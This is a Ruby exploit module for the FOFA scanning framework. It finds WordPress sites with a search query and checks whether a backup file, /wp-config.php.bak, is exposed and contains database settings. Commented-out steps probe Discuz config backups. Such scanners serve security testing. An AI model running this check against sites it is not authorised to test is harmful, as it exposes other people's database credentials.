require 'fofa_core'
require 'payload/dzshell'

class String
  def string_between_markers marker1, marker2
    self[/#{Regexp.escape(marker1)}(.*?)#{Regexp.escape(marker2)}/m, 1]
  end
end

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'wordpress敏感文件备份',
      'Description' => %q{
wordpress存在一些敏感文件，如果存在备份的话，可能导致数据泄露。
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'wordpress',
      'Homepage' => 'http://www.wordpress.com/',
      'References' =>
          [
              ['-'],
          ],
      'DisclosureDate'=> '2013-12-11',
      'FofaQuery'=>'( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/" ) )',
      'ScanSteps' =>
          [
=begin
            'OR',
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/config/config_global.php.bak',
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: '<?php'
                    }
                  ]
              }
            },
            {
                'Request'=>
                    {
                        method: 'GET',
                        uri: '/uc_server/data/config.inc.php.bak',
                    },
                'ResponseTest'=> {
                    type: 'group',
                    operation: 'AND',
                    checks: [
                        {
                            type: 'item',
                            varibale: '$code',
                            operation: '==',
                            value: 200
                        },
                        {
                            type: 'item',
                            varibale: '$body',
                            operation: 'contains',
                            value: '<?php'
                        }
                    ]
                }
            },
=end
            {
                'Request'=>
                    {
                        method: 'GET',
                        uri: '/wp-config.php.bak',
                    },
                'ResponseTest'=> {
                    type: 'group',
                    operation: 'AND',
                    checks: [
                        {
                            type: 'item',
                            varibale: '$code',
                            operation: '==',
                            value: 200
                        },
                        {
                            type: 'item',
                            varibale: '$body',
                            operation: 'contains',
                            value: 'DB_NAME'
                        }
                    ]
                }
            },

          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
    if vulnerable(hostinfo)
      #puts db connection info
    else
      puts "not vulnerable!"
    end

  end
end
